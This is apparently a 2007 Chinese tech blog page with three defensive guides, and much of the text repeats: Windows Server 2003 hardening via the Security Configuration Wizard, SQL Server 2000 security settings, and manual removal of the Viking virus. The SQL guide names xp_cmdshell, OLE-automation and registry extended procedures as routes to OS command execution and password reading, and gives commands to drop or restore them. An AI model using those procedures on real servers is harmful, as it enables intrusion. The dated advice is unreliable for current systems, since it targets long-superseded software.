Windows 2003服务器打造铜墙铁壁
[ 2007-03-25 03:59:45 | 作者: sun ]
Windows Server 2003是大家最常用的服务器操作系统之一。虽然它提供了强大的网络服务功能,并且简单易用,但它的安全性一直困扰着众多网管,如何在充分利用Windows Server 2003提供的各种服务的同时,保证服务器的安全稳定运行,最大限度地抵御病毒和黑客的入侵。Windows Server 2003 SP1中文版补丁包的发布,恰好解决这个问题,它不但提供了对系统漏洞的修复,还新增了很多易用的安全功能,如安全配置向导(SCW)功能。利用SCW功能的“安全策略”可以最大限度增强服务器的安全,并且配置过程非常简单,下面就一起来看吧!
厉兵秣马 先装“SCW”
大家都很清楚,Windows Server 2003系统为增强其安全性,默认情况下,很多服务组件是不被安装的,要想使用,必须手工安装。“SCW”功能也是一样,虽然你已经成功安装了补丁包SP1,但也需要手工安装“安全配置向导(SCW)”组件。
进入“控制面板”后,运行“添加或删除程序”,然后切换到“添加/删除Windows组件”页。下面在“Windows组件向导”对话框中选中“安全配置向导”选项,最后点击“下一步”按钮后,就能轻松完成“SCW”组件的安装。
安装过程就这么简单,接下来就能根据自身需要,利用“SCW”配置安全策略,增强Windows Server 2003服务器安全。
配置“安全策略” 原来如此“简单”
在Windows Server 2003服务器中,点击“开始→运行”后,在运行对话框中执行“SCW.exe”命令,就会弹出“安全配置向导”对话框,开始你的安全策略配置过程。当然你也可以进入“控制面板→管理工具”窗口后,执行“安全配置向导”快捷方式来启用“SCW”。
1.新建第一个“安全策略”
如果你是第一次使用“SCW”功能,首先要为Windows Server 2003服务器新建一个安全策略,安全策略信息是被保存在格式为XML 的文件中的,并且它的默认存储位置是“C:\WINDOWS\security\msscw\Policies”。因此一个Windows Server 2003系统可以根据不同需要,创建多个“安全策略”文件,并且还可以对安全策略文件进行修改,但一次只能应用其中一个安全策略。
在“欢迎使用安全配置向导”对话框中点击“下一步”按钮,进入到“配置操作”对话框,因为是第一次使用“SCW”,这里要选择“创建新的安全策略”单选项,点击“下一步”按钮,就开始配置安全策略。
2.轻松配置“角色”
首先进入“选择服务器”对话框,在“服务器”栏中输入要进行安全配置的Windows Server 2003服务器的机器名或IP地址,点击“下一步”按钮后,“安全配置向导”会处理安全配置数据库。
接着就进入到“基于角色的服务配置”对话框。在基于角色的服务配置中,可以对Windows Server 2003服务器角色、客户端角色、系统服务、应用程序,以及管理选项等内容进行配置。
所谓服务器“角色”,其实就是提供各种服务的Windows Server 2003服务器,如文件服务器、打印服务器、DNS服务器和DHCP服务器等 , 一个Windows Server 2003服务器可以只提供一种服务器“角色”,也可以扮演多种服务器角色。点击“下一步”按钮后,就进入到“选择服务器角色”配置对话框,这时需要在“服务器角色列表框”中勾选你的Windows Server 2003服务器所扮演的角色。
注意:为了保证服务器的安全,只勾选你所需要的服务器角色即可,选择多余的服务器角色选项,会增加Windows Server 2003系统的安全隐患。如笔者的Windows Server 2003服务器只是作为文件服务器使用,这时只要选择“文件服务器”选项即可。
进入“选择客户端功能”标签页,来配置Windows Server 2003服务器支持的“客户端功能”,其实Windows Server 2003服务器的客户端功能也很好理解,服务器在提供各种网络服务的同时,也需要一些客户端功能的支持才行,如Microsoft网络客户端、DHCP客户端和FTP客户端等。根据需要,在列表框中勾选你所需的客户端功能即可,同样,对于不需要的客户端功能选项,建议你一定要取消对它的选择。
接下来进入到“选择管理和其它选项”对话框,在这里选择你需要的一些Windows Server 2003系统提供的管理和服务功能,操作方法是一样的,只要在列表框中勾选你需要的管理选项即可。点击“下一步”后,还要配置一些Windows Server 2003系统的额外服务,这些额外服务一般都是第三方软件提供的服务。
然后进入到“处理未指定的服务”对话框,这里“未指定服务”是指,如果此安全策略文件被应用到其它Windows Server 2003服务器中,而这个服务器中提供的一些服务没有在安全配置数据库中列出,那么这些没被列出的服务该在什么状态下运行呢?在这里就可以指定它们的运行状态,建议大家选中“不更改此服务的启用模式”单选项。最后进入到“确认服务更改”对话框,对你的配置进行最终确认后,就完成了基于角色的服务配置。
3.配置网络安全
以上完成了基于角色的服务配置。但Windows Server 2003服务器包含的各种服务,都是通过某个或某些端口来提供服务内容的,为了保证服务器的安全,Windows防火墙默认是不会开放这些服务端口的。下面就可以通过“网络安全”配置向导开放各项服务所需的端口,这种向导化配置过程与手工配置Windows防火墙相比,更加简单、方便和安全。
在“网络安全”对话框中,要开放选中的服务器角色,Windows Server 2003系统提供的管理功能以及第三方软件提供的服务所使用的端口。点击“下一步”按钮后,在“打开端口并允许应用程序”对话框中开放所需的端口,如FTP服务器所需的“20和21”端口,IIS服务所需的“80”端口等,这里要切记“最小化”原则,只要在列表框中选择要必须开放的端口选项即可,最后确认端口配置,这里要注意:其它不需要使用的端口,建议大家不要开放,以免给Windows Server 2003服务器造成安全隐患。
4.注册表设置
Windows Server 2003服务器在网络中为用户提供各种服务,但用户与服务器的通信中很有可能包含“不怀好意”的访问,如黑客和病毒攻击。如何保证服务器的安全,最大限度地限制非法用户访问,通过“注册表设置”向导就能轻松实现。
利用注册表设置向导,修改Windows Server 2003服务器注册表中某些特殊的键值,来严格限制用户的访问权限。用户只要根据设置向导提示,以及服务器的服务需要,分别对“要求SMB安全签名”、“出站身份验证方法”、“入站身份验证方法”进行严格设置,就能最大限度保证Windows Server 2003服务器的安全运行,并且免去手工修改注册表的麻烦。
5.启用“审核策略”
聪明的网管会利用日志功能来分析服务器的运行状况,因此适当的启用审核策略是非常重要的。SCW功能也充分的考虑到这些,利用向导化的操作就能轻松启用审核策略。
在“系统审核策略”配置对话框中要合理选择审核目标,毕竟日志记录过多的事件会影响服务器的性能,因此建议用户选择“审核成功的操作”选项。当然如果有特殊需要,也可以选择其它选项。如“不审核”或“审核成功或不成功的操作”选项。
6.增强IIS安全
IIS服务器是网络中最为广泛应用的一种服务,也是Windows系统中最易受攻击的服务。如何来保证IIS服务器的安全运行,最大限度免受黑客和病毒的攻击,这也是SCW功能要解决的一个问题。利用“安全配置向导”可以轻松的增强IIS服务器的安全,保证其稳定、安全运行。
在“Internet信息服务”配置对话框中,通过配置向导,来选择你要启用的Web服务扩展、要保持的虚拟目录,以及设置匿名用户对内容文件的写权限。这样IIS服务器的安全性就大大增强。
小提示:如果你的Windows Server 2003服务器没有安装、运行IIS服务,则在SCW配置过程中不会出现IIS安全配置部分。
完成以上几步配置后,进入到保存安全策略对话框,首先在“安全策略文件名”对话框中为你配置的安全策略起个名字,最后在“应用安全策略”对话框中选择“现在应用”选项,使配置的安全策略立即生效。
利用SCW增强Windows Server 2003服务器的安全性能就这么简单,所有的参数配置都是通过向导化对话框完成的,免去了手工繁琐的配置过程,SCW功能的确是安全性和易用性有效的结合点。如果你的Windows Server 2003系统已经安装了SP1补丁包,不妨试试SCW吧!
厉兵秣马 先装“SCW”
大家都很清楚,Windows Server 2003系统为增强其安全性,默认情况下,很多服务组件是不被安装的,要想使用,必须手工安装。“SCW”功能也是一样,虽然你已经成功安装了补丁包SP1,但也需要手工安装“安全配置向导(SCW)”组件。
进入“控制面板”后,运行“添加或删除程序”,然后切换到“添加/删除Windows组件”页。下面在“Windows组件向导”对话框中选中“安全配置向导”选项,最后点击“下一步”按钮后,就能轻松完成“SCW”组件的安装。
安装过程就这么简单,接下来就能根据自身需要,利用“SCW”配置安全策略,增强Windows Server 2003服务器安全。
配置“安全策略” 原来如此“简单”
在Windows Server 2003服务器中,点击“开始→运行”后,在运行对话框中执行“SCW.exe”命令,就会弹出“安全配置向导”对话框,开始你的安全策略配置过程。当然你也可以进入“控制面板→管理工具”窗口后,执行“安全配置向导”快捷方式来启用“SCW”。
1.新建第一个“安全策略”
如果你是第一次使用“SCW”功能,首先要为Windows Server 2003服务器新建一个安全策略,安全策略信息是被保存在格式为XML 的文件中的,并且它的默认存储位置是“C:\WINDOWS\security\msscw\Policies”。因此一个Windows Server 2003系统可以根据不同需要,创建多个“安全策略”文件,并且还可以对安全策略文件进行修改,但一次只能应用其中一个安全策略。
在“欢迎使用安全配置向导”对话框中点击“下一步”按钮,进入到“配置操作”对话框,因为是第一次使用“SCW”,这里要选择“创建新的安全策略”单选项,点击“下一步”按钮,就开始配置安全策略。
2.轻松配置“角色”
首先进入“选择服务器”对话框,在“服务器”栏中输入要进行安全配置的Windows Server 2003服务器的机器名或IP地址,点击“下一步”按钮后,“安全配置向导”会处理安全配置数据库。
接着就进入到“基于角色的服务配置”对话框。在基于角色的服务配置中,可以对Windows Server 2003服务器角色、客户端角色、系统服务、应用程序,以及管理选项等内容进行配置。
所谓服务器“角色”,其实就是提供各种服务的Windows Server 2003服务器,如文件服务器、打印服务器、DNS服务器和DHCP服务器等 , 一个Windows Server 2003服务器可以只提供一种服务器“角色”,也可以扮演多种服务器角色。点击“下一步”按钮后,就进入到“选择服务器角色”配置对话框,这时需要在“服务器角色列表框”中勾选你的Windows Server 2003服务器所扮演的角色。
注意:为了保证服务器的安全,只勾选你所需要的服务器角色即可,选择多余的服务器角色选项,会增加Windows Server 2003系统的安全隐患。如笔者的Windows Server 2003服务器只是作为文件服务器使用,这时只要选择“文件服务器”选项即可。
进入“选择客户端功能”标签页,来配置Windows Server 2003服务器支持的“客户端功能”,其实Windows Server 2003服务器的客户端功能也很好理解,服务器在提供各种网络服务的同时,也需要一些客户端功能的支持才行,如Microsoft网络客户端、DHCP客户端和FTP客户端等。根据需要,在列表框中勾选你所需的客户端功能即可,同样,对于不需要的客户端功能选项,建议你一定要取消对它的选择。
接下来进入到“选择管理和其它选项”对话框,在这里选择你需要的一些Windows Server 2003系统提供的管理和服务功能,操作方法是一样的,只要在列表框中勾选你需要的管理选项即可。点击“下一步”后,还要配置一些Windows Server 2003系统的额外服务,这些额外服务一般都是第三方软件提供的服务。
然后进入到“处理未指定的服务”对话框,这里“未指定服务”是指,如果此安全策略文件被应用到其它Windows Server 2003服务器中,而这个服务器中提供的一些服务没有在安全配置数据库中列出,那么这些没被列出的服务该在什么状态下运行呢?在这里就可以指定它们的运行状态,建议大家选中“不更改此服务的启用模式”单选项。最后进入到“确认服务更改”对话框,对你的配置进行最终确认后,就完成了基于角色的服务配置。
3.配置网络安全
以上完成了基于角色的服务配置。但Windows Server 2003服务器包含的各种服务,都是通过某个或某些端口来提供服务内容的,为了保证服务器的安全,Windows防火墙默认是不会开放这些服务端口的。下面就可以通过“网络安全”配置向导开放各项服务所需的端口,这种向导化配置过程与手工配置Windows防火墙相比,更加简单、方便和安全。
在“网络安全”对话框中,要开放选中的服务器角色,Windows Server 2003系统提供的管理功能以及第三方软件提供的服务所使用的端口。点击“下一步”按钮后,在“打开端口并允许应用程序”对话框中开放所需的端口,如FTP服务器所需的“20和21”端口,IIS服务所需的“80”端口等,这里要切记“最小化”原则,只要在列表框中选择要必须开放的端口选项即可,最后确认端口配置,这里要注意:其它不需要使用的端口,建议大家不要开放,以免给Windows Server 2003服务器造成安全隐患。
4.注册表设置
Windows Server 2003服务器在网络中为用户提供各种服务,但用户与服务器的通信中很有可能包含“不怀好意”的访问,如黑客和病毒攻击。如何保证服务器的安全,最大限度地限制非法用户访问,通过“注册表设置”向导就能轻松实现。
利用注册表设置向导,修改Windows Server 2003服务器注册表中某些特殊的键值,来严格限制用户的访问权限。用户只要根据设置向导提示,以及服务器的服务需要,分别对“要求SMB安全签名”、“出站身份验证方法”、“入站身份验证方法”进行严格设置,就能最大限度保证Windows Server 2003服务器的安全运行,并且免去手工修改注册表的麻烦。
5.启用“审核策略”
聪明的网管会利用日志功能来分析服务器的运行状况,因此适当的启用审核策略是非常重要的。SCW功能也充分的考虑到这些,利用向导化的操作就能轻松启用审核策略。
在“系统审核策略”配置对话框中要合理选择审核目标,毕竟日志记录过多的事件会影响服务器的性能,因此建议用户选择“审核成功的操作”选项。当然如果有特殊需要,也可以选择其它选项。如“不审核”或“审核成功或不成功的操作”选项。
6.增强IIS安全
IIS服务器是网络中最为广泛应用的一种服务,也是Windows系统中最易受攻击的服务。如何来保证IIS服务器的安全运行,最大限度免受黑客和病毒的攻击,这也是SCW功能要解决的一个问题。利用“安全配置向导”可以轻松的增强IIS服务器的安全,保证其稳定、安全运行。
在“Internet信息服务”配置对话框中,通过配置向导,来选择你要启用的Web服务扩展、要保持的虚拟目录,以及设置匿名用户对内容文件的写权限。这样IIS服务器的安全性就大大增强。
小提示:如果你的Windows Server 2003服务器没有安装、运行IIS服务,则在SCW配置过程中不会出现IIS安全配置部分。
完成以上几步配置后,进入到保存安全策略对话框,首先在“安全策略文件名”对话框中为你配置的安全策略起个名字,最后在“应用安全策略”对话框中选择“现在应用”选项,使配置的安全策略立即生效。
利用SCW增强Windows Server 2003服务器的安全性能就这么简单,所有的参数配置都是通过向导化对话框完成的,免去了手工繁琐的配置过程,SCW功能的确是安全性和易用性有效的结合点。如果你的Windows Server 2003系统已经安装了SP1补丁包,不妨试试SCW吧!
九大措施安全配置SQLServer2000数据库
[ 2007-03-25 03:59:32 | 作者: sun ]
数据库是电子商务、金融以及ERP系统的基础,通常都保存着重要的商业伙伴和客户信息。大多数企业、组织以及政府部门的电子数据都保存在各种数据库中,他们用这些数据库保存一些个人资料,比如员工薪水、个人资料等等。数据库服务器还掌握着敏感的金融数据。包括交易记录、商业事务和帐号数据,战略上的或者专业的信息,比如专利和工程数据,甚至市场计划等等应该保护起来防止竞争者和其他非法者获取的资料。数据完整性和合法存取会受到很多方面的安全威胁,包括密码策略、系统后门、数据库操作以及本身的安全方案。但是数据库通常没有象操作系统和网络这样在安全性上受到重视。
微软的SQL Server是一种广泛使用的数据库,很多电子商务网站、企业内部信息化平台等都是基于SQL Server上的,但是数据库的安全性还没有被人们更系统的安全性等同起来,多数管理员认为只要把网络和操作系统的安全搞好了,那么所有的应用程序也就安全了。大多数系统管理员对数据库不熟悉而数据库管理员有对安全问题关心太少,而且一些安全公司也忽略数据库安全,这就使数据库的安全问题更加严峻了。数据库系统中存在的安全漏洞和不当的配置通常会造成严重的后果,而且都难以发现。数据库应用程序通常同操作系统的最高管理员密切相关。广泛SQL Server数据库又是属于“端口”型的数据库,这就表示任何人都能够用分析工具试图连接到数据库上,从而绕过操作系统的安全机制,进而闯入系统、破坏和窃取数据资料,甚至破坏整个系统。
这里,我们主要谈论有关SQL Server2000数据库的安全配置以及一些相关的安全和使用上的问题。
在进行SQL Server 2000数据库的安全配置之前,首先你必须对操作系统进行安全配置,保证你的操作系统处于安全状态。然后对你要使用的操作数据库软件(程序)进行必要的安全审核,比如对ASP、PHP等脚本,这是很多基于数据库的WEB应用常出现的安全隐患,对于脚本主要是一个过滤问题,需要过滤一些类似 , ‘ ; @ / 等字符,防止破坏者构造恶意的SQL语句。接着,安装SQL Server2000后请打上补丁sp1以及最新的sp2。
下载地址是:http://www.microsoft.com/sql/downloads/2000/sp1.asp 和 http://www.microsoft.com/sql/downloads/2000/sp2.asp
在做完上面三步基础之后,我们再来讨论SQL Server的安全配置。
1、使用安全的密码策略
我们把密码策略摆在所有安全配置的第一步,请注意,很多数据库帐号的密码过于简单,这跟系统密码过于简单是一个道理。对于sa更应该注意,同时不要让sa帐号的密码写于应用程序或者脚本中。健壮的密码是安全的第一步!
SQL Server2000安装的时候,如果是使用混合模式,那么就需要输入sa的密码,除非你确认必须使用空密码。这比以前的版本有所改进。
同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的帐号。比如使用下面的SQL语句:
Use master
Select name,Password from syslogins where password is null
2、使用安全的帐号策略
由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个帐号进行最强的保护,当然,包括使用一个非常强壮的密码,最好不要在数据库应用中使用sa帐号,只有当没有其它方法登录到 SQL Server 实例(例如,当其它系统管理员不可用或忘记了密码)时才使用 sa。建议数据库管理员新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的帐号策略还包括不要让管理员权限的帐号泛滥。
SQL Server的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员来通过操作系统登陆来接触数据库的话,可以在帐号管理中把系统帐号“BUILTINAdministrators”删除。不过这样做的结果是一旦sa帐号忘记密码的话,就没有办法来恢复了。
很多主机使用数据库应用只是用来做查询、修改等简单功能的,请根据实际需要分配帐号,并赋予仅仅能够满足应用要求和需要的权限。比如,只要查询功能的,那么就使用一个简单的public帐号能够select就可以了。
3、加强数据库日志的记录
审核数据库登录事件的“失败和成功”,在实例属性中选择“安全性”,将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有帐号的登录事件。
请定期查看SQL Server日志检查是否有可疑的登录事件发生,或者使用DOS命令。
findstr /C:"登录" d:Microsoft SQL ServerMSSQLLOG*.*
4、管理扩展存储过程
对存储过程进行大手术,并且对帐号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。
如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
如果你不需要请丢弃OLE自动存储过程(会造成管理器中的某些特征不能使用),这些过程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
还有一些其他的扩展存储过程,你也最好检查检查。
在处理存储过程的时候,请确认一下,避免造成对数据库或应用程序的伤害。
5、使用协议加密
SQL Server 2000使用的Tabular Data Stream协议来进行网络数据交换,如果不加密的话,所有的网络传输都是明文的,包括密码、数据库内容等等,这是一个很大的安全威胁。能被人在网络中截获到他们需要的东西,包括数据库帐号和密码。所以,在条件容许情况下,最好使用SSL来加密协议,当然,你需要一个证书来支持。
6、不要让人随便探测到你的TCP/IP端口
默认情况下,SQL Server使用1433端口监听,很多人都说SQL Server配置的时候要把这个端口改变,这样别人就不能很容易地知道使用的什么端口了。可惜,通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的什么TCP/IP端口了。
不过微软还是考虑到了这个问题,毕竟公开而且开放的端口会引起不必要的麻烦。在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。如果隐藏了 SQL Server 实例,则将禁止对试图枚举网络上现有的 SQL Server 实例的客户端所发出的广播作出响应。这样,别人就不能用1434来探测你的TCP/IP端口了(除非用Port Scan)。
7、修改TCP/IP使用的端口
请在上一步配置的基础上,更改原默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性,将TCP/IP使用的默认端口变为其他端口。
8、拒绝来自1434端口的探测
由于1434端口探测没有限制,能够被别人探测到一些数据库信息,而且还可能遭到DOS攻击让数据库服务器的CPU负荷增大,所以对Windows 2000操作系统来说,在IPSec过滤拒绝掉1434端口的UDP通讯,可以尽可能地隐藏你的SQL Server。
9、对网络连接进行IP限制
SQL Server 2000数据库系统本身没有提供网络连接的安全解决办法,但是Windows 2000提供了这样的安全机制。使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制,只保证自己的IP能够访问,也拒绝其他IP进行的端口连接,把来自网络上的安全威胁进行有效的控制。
关于IPSec的使用请参看:http://www.microsoft.com/china/technet/security/ipsecloc.asp
上面主要介绍的一些SQL Server的安全配置,经过以上的配置,可以让SQL Server本身具备足够的安全防范能力。当然,更主要的还是要加强内部的安全控制和管理员的安全培训,而且安全性问题是一个长期的解决过程,还需要以后进行更多的安全维护。
微软的SQL Server是一种广泛使用的数据库,很多电子商务网站、企业内部信息化平台等都是基于SQL Server上的,但是数据库的安全性还没有被人们更系统的安全性等同起来,多数管理员认为只要把网络和操作系统的安全搞好了,那么所有的应用程序也就安全了。大多数系统管理员对数据库不熟悉而数据库管理员有对安全问题关心太少,而且一些安全公司也忽略数据库安全,这就使数据库的安全问题更加严峻了。数据库系统中存在的安全漏洞和不当的配置通常会造成严重的后果,而且都难以发现。数据库应用程序通常同操作系统的最高管理员密切相关。广泛SQL Server数据库又是属于“端口”型的数据库,这就表示任何人都能够用分析工具试图连接到数据库上,从而绕过操作系统的安全机制,进而闯入系统、破坏和窃取数据资料,甚至破坏整个系统。
这里,我们主要谈论有关SQL Server2000数据库的安全配置以及一些相关的安全和使用上的问题。
在进行SQL Server 2000数据库的安全配置之前,首先你必须对操作系统进行安全配置,保证你的操作系统处于安全状态。然后对你要使用的操作数据库软件(程序)进行必要的安全审核,比如对ASP、PHP等脚本,这是很多基于数据库的WEB应用常出现的安全隐患,对于脚本主要是一个过滤问题,需要过滤一些类似 , ‘ ; @ / 等字符,防止破坏者构造恶意的SQL语句。接着,安装SQL Server2000后请打上补丁sp1以及最新的sp2。
下载地址是:http://www.microsoft.com/sql/downloads/2000/sp1.asp 和 http://www.microsoft.com/sql/downloads/2000/sp2.asp
在做完上面三步基础之后,我们再来讨论SQL Server的安全配置。
1、使用安全的密码策略
我们把密码策略摆在所有安全配置的第一步,请注意,很多数据库帐号的密码过于简单,这跟系统密码过于简单是一个道理。对于sa更应该注意,同时不要让sa帐号的密码写于应用程序或者脚本中。健壮的密码是安全的第一步!
SQL Server2000安装的时候,如果是使用混合模式,那么就需要输入sa的密码,除非你确认必须使用空密码。这比以前的版本有所改进。
同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的帐号。比如使用下面的SQL语句:
Use master
Select name,Password from syslogins where password is null
2、使用安全的帐号策略
由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个帐号进行最强的保护,当然,包括使用一个非常强壮的密码,最好不要在数据库应用中使用sa帐号,只有当没有其它方法登录到 SQL Server 实例(例如,当其它系统管理员不可用或忘记了密码)时才使用 sa。建议数据库管理员新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的帐号策略还包括不要让管理员权限的帐号泛滥。
SQL Server的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员来通过操作系统登陆来接触数据库的话,可以在帐号管理中把系统帐号“BUILTINAdministrators”删除。不过这样做的结果是一旦sa帐号忘记密码的话,就没有办法来恢复了。
很多主机使用数据库应用只是用来做查询、修改等简单功能的,请根据实际需要分配帐号,并赋予仅仅能够满足应用要求和需要的权限。比如,只要查询功能的,那么就使用一个简单的public帐号能够select就可以了。
3、加强数据库日志的记录
审核数据库登录事件的“失败和成功”,在实例属性中选择“安全性”,将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有帐号的登录事件。
请定期查看SQL Server日志检查是否有可疑的登录事件发生,或者使用DOS命令。
findstr /C:"登录" d:Microsoft SQL ServerMSSQLLOG*.*
4、管理扩展存储过程
对存储过程进行大手术,并且对帐号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。
如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
如果你不需要请丢弃OLE自动存储过程(会造成管理器中的某些特征不能使用),这些过程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
还有一些其他的扩展存储过程,你也最好检查检查。
在处理存储过程的时候,请确认一下,避免造成对数据库或应用程序的伤害。
5、使用协议加密
SQL Server 2000使用的Tabular Data Stream协议来进行网络数据交换,如果不加密的话,所有的网络传输都是明文的,包括密码、数据库内容等等,这是一个很大的安全威胁。能被人在网络中截获到他们需要的东西,包括数据库帐号和密码。所以,在条件容许情况下,最好使用SSL来加密协议,当然,你需要一个证书来支持。
6、不要让人随便探测到你的TCP/IP端口
默认情况下,SQL Server使用1433端口监听,很多人都说SQL Server配置的时候要把这个端口改变,这样别人就不能很容易地知道使用的什么端口了。可惜,通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的什么TCP/IP端口了。
不过微软还是考虑到了这个问题,毕竟公开而且开放的端口会引起不必要的麻烦。在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。如果隐藏了 SQL Server 实例,则将禁止对试图枚举网络上现有的 SQL Server 实例的客户端所发出的广播作出响应。这样,别人就不能用1434来探测你的TCP/IP端口了(除非用Port Scan)。
7、修改TCP/IP使用的端口
请在上一步配置的基础上,更改原默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性,将TCP/IP使用的默认端口变为其他端口。
8、拒绝来自1434端口的探测
由于1434端口探测没有限制,能够被别人探测到一些数据库信息,而且还可能遭到DOS攻击让数据库服务器的CPU负荷增大,所以对Windows 2000操作系统来说,在IPSec过滤拒绝掉1434端口的UDP通讯,可以尽可能地隐藏你的SQL Server。
9、对网络连接进行IP限制
SQL Server 2000数据库系统本身没有提供网络连接的安全解决办法,但是Windows 2000提供了这样的安全机制。使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制,只保证自己的IP能够访问,也拒绝其他IP进行的端口连接,把来自网络上的安全威胁进行有效的控制。
关于IPSec的使用请参看:http://www.microsoft.com/china/technet/security/ipsecloc.asp
上面主要介绍的一些SQL Server的安全配置,经过以上的配置,可以让SQL Server本身具备足够的安全防范能力。当然,更主要的还是要加强内部的安全控制和管理员的安全培训,而且安全性问题是一个长期的解决过程,还需要以后进行更多的安全维护。
杀死威金变种病毒,挽救硬盘数据
[ 2007-03-25 03:59:17 | 作者: sun ]
近来,威金变种病毒肆虐,不少人中招后被迫格式化所有分区,苦心保存的数据毁于一旦。
中了这种病毒的特征是:系统响应缓慢,玩网络游戏时会自动退出,硬盘里的EXE文件图标会变“花”;到dos下用ghost恢复系统失败;如果不全盘格式化,重装系统也不能解决问题。
今天有幸遇到感染此种病毒的电脑,在机主几乎绝望的情况下清除了病毒,挽救了他多年积累的数据。
现在,偶把此次杀毒的过程贴上来,供遇到类似问题的网友参考。
清除病毒的步骤如下:
一、结束病毒进程,删除病毒的启动项。
1、开机按F8键,进安全模式;
2、按Ctrl+Alt+Del打开“任务管理器”,结束Logo1和Rundll32进程;
3、我的电脑→属性→系统还原,勾选“在所有驱动器上关闭系统还原”,“确定”;(如果原来已经关闭了系统还原,这一步可略)
4、右击“我的电脑”→资源管理器→工具→文件夹选项→查看,去掉“隐藏受保护的操作系统(推荐)”前面的√,选“显示所有文件和文件夹”;
在左边“文件夹”框中依次点Documents and Settings→用户帐户名→Local Settings→Temp;
用鼠标点一下右边的任何地方,再点“编辑”→全部选定,然后按Shift+Delete来删除TEMP文件夹下的所有文件。
5、开始→运行,键入msconfig,打开“系统配置实用程序”界面,点“启动”,找出可疑的启动项,如“命令”项有windows\rundll32.exe、windows\logo1.exe,windows\down\rundll32.exe等的启动项;再回到第4步里的“资源管理器”界面,找到rundll32.exe、logo1.exe并删除;
6、再运行regedit打开注册表,编辑→查找,键入run,并勾选“全字匹配”,然后开始查找,如果看到run项中有可疑的、指向上述病毒的键值,则删除该键(注意:不是删除run项),按F3继续查找,删除与病毒有关的键,直至查找完毕;
7、点“开始”→搜索→文件或文件夹→所有文件和文件夹,最大化窗口,文件名栏填“_desktop.ini” , “更多高级选项”中勾选“搜索系统文件夹”、“搜索隐藏的文件和文件夹”、“搜索子文件夹” ,然后点“搜索”,搜索完后,单击“编辑”→全部选定,再按Shift+Delete删除所有找到的“_desktop.ini文件。
经过上述处理后,即使重启系统,病毒一般不会随系统而启动了。为了保险起见,可以在第5步中点“服务”,勾选“隐藏所有Microsoft服务”,把所有项目前面的√去掉(如果是杀毒软件的,到系统正常后再恢复就可以了);
二、下载专杀工具,清除病毒,挽救硬盘数据
重启系统,再次按F8键,选“带网络的安全模式”(正常启动也可以,但为保险起见,还是进入安全模式),打开IE,登录“江民(www.jiangmin.com)网站”或“瑞星(www.rising.com.cn)网站”,下载威金专杀工具,保存到“桌面”或其它地方,下载完后,运行它,便进入了清除病毒的过程。
过一段时间后,病毒就清除完毕。再重启系统,系统就正常了,所有EXE文件也可以用了。
再强调一下,上述是有关“威金变种病毒”的查杀方法,很多人可能同时也中了其它病毒,因此,建议在处理“威金变种病毒”后,安装杀毒软件,升级病毒库,进行全盘杀毒。
中了这种病毒的特征是:系统响应缓慢,玩网络游戏时会自动退出,硬盘里的EXE文件图标会变“花”;到dos下用ghost恢复系统失败;如果不全盘格式化,重装系统也不能解决问题。
今天有幸遇到感染此种病毒的电脑,在机主几乎绝望的情况下清除了病毒,挽救了他多年积累的数据。
现在,偶把此次杀毒的过程贴上来,供遇到类似问题的网友参考。
清除病毒的步骤如下:
一、结束病毒进程,删除病毒的启动项。
1、开机按F8键,进安全模式;
2、按Ctrl+Alt+Del打开“任务管理器”,结束Logo1和Rundll32进程;
3、我的电脑→属性→系统还原,勾选“在所有驱动器上关闭系统还原”,“确定”;(如果原来已经关闭了系统还原,这一步可略)
4、右击“我的电脑”→资源管理器→工具→文件夹选项→查看,去掉“隐藏受保护的操作系统(推荐)”前面的√,选“显示所有文件和文件夹”;
